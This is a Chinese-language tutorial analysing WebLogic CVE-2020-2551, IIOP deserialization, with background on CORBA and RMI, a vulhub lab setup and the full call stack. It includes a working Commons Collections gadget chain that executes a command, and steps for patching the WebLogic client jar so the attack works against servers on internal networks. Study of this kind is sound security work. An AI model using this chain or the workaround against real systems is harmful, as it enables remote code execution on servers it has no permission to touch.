从0学习WebLogic CVE-2020-2551漏洞
字数 1335 2025-08-25 22:58:40
WebLogic CVE-2020-2551漏洞深度分析与利用指南
0X00 漏洞利用基础学习
CORBA体系结构
CORBA(Common Object Request Broker Architecture)公共对象请求代理体系结构定义了分布式对象通信的标准框架,包含三个核心组件:
- Naming Service:类似书籍目录,提供对象定位服务
- Client Side:客户端,发起请求
- Servant Side:服务端,提供对象实现
关键概念解析
-
Stub(存根)和Skeleton(骨架):
- Stub:客户端代理,负责将调用转发给远程对象
- Skeleton:服务端代理,负责接收请求并调用实际对象方法
-
GIOP & IIOP:
- GIOP:通用对象请求协议,CORBA通信标准
- IIOP:基于TCP/IP的GIOP实现,CVE-2020-2551利用的核心协议
-
JNDI(Java Naming and Directory Interface):
- Java命名和目录接口,提供统一的对象查找机制
- 在CORBA中扮演Naming Service角色
-
LDAP:
- 轻型目录访问协议,用于访问目录数据库
- 常与RMI结合用于攻击
-
RMI(Remote Method Invocation):
- Java远程方法调用,Java的RPC实现
- 底层使用JRMP协议通信
-
JRMP:
- Java远程方法协议,RMI专用通信协议
- 负责序列化数据的传输
RMI反序列化原理
RMI通信中客户端和服务端通过代理(Stub/Skeleton)交互,数据通过序列化传输。攻击者可以构造恶意序列化数据,利用服务端或客户端存在的漏洞库实现攻击。
RMI简单Demo
- 定义远程接口:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface InterfaceQing extends Remote{
public String RmiDemo() throws RemoteException;
}
- 接口实现类:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import Remote.InterfaceQing;
public class RemoteQing extends UnicastRemoteObject implements InterfaceQing {
protected RemoteQing() throws RemoteException{
super();
}
@Override
public String RmiDemo() throws RemoteException {
System.out.println("RmiDemo..");
return "Here is RmiDemo";
}
}
- 服务端类:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import Remote.InterfaceQing;
public class ServerDemo {
public static void main(String[] args) {
try {
InterfaceQing remoteQing = new RemoteQing();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Test", remoteQing);
System.out.println("Server is ok");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 客户端类:
import Remote.InterfaceQing;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientDemo {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost");
InterfaceQing remoteQing = (InterfaceQing)registry.lookup("Test");
String returnStr = remoteQing.RmiDemo();
System.out.println(returnStr);
} catch(Exception e) {
e.printStackTrace();
}
}
}
RMI反序列化漏洞攻击Demo(Apache Commons Collections 3)
利用InvokerTransformer#transform方法通过反射执行任意方法:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformVul {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("name", "hello");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next();
elEntry.setValue("hello");
}
}
0x01 CVE-2020-2551漏洞分析
漏洞环境搭建
使用vulhub提供的Docker环境:
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
漏洞触发点分析
漏洞核心触发点在weblogic.corba.utils.ValueHandlerImpl#readValueData方法:
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2)
throws IOException, ClassNotFoundException {
if (var2.getSuperclass() != null) {
// ...
ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);
var2.readObject(var1, var6); // 反序列化触发点
var6.close();
if (var5) {
var0.end_value();
}
}
}
完整调用链
lookup:417, InitialContext (javax.naming)
doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)
execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke:-1, GeneratedMethodAccessor30 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:263, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
CVE-2020-2551的网络问题解决方案
实际环境中WebLogic通常位于内网,返回的NameService地址为内网IP导致攻击失败。解决方法:
-
重写IIOP协议:
修改wlfullclient.jar中的weblogic.iiop.IOPProfile.class文件,修改返回地址处理逻辑 -
具体修改步骤:
- 反编译class文件获取源码
- 修改地址处理逻辑
- 重新编译为class文件
- 替换原始jar包中的class文件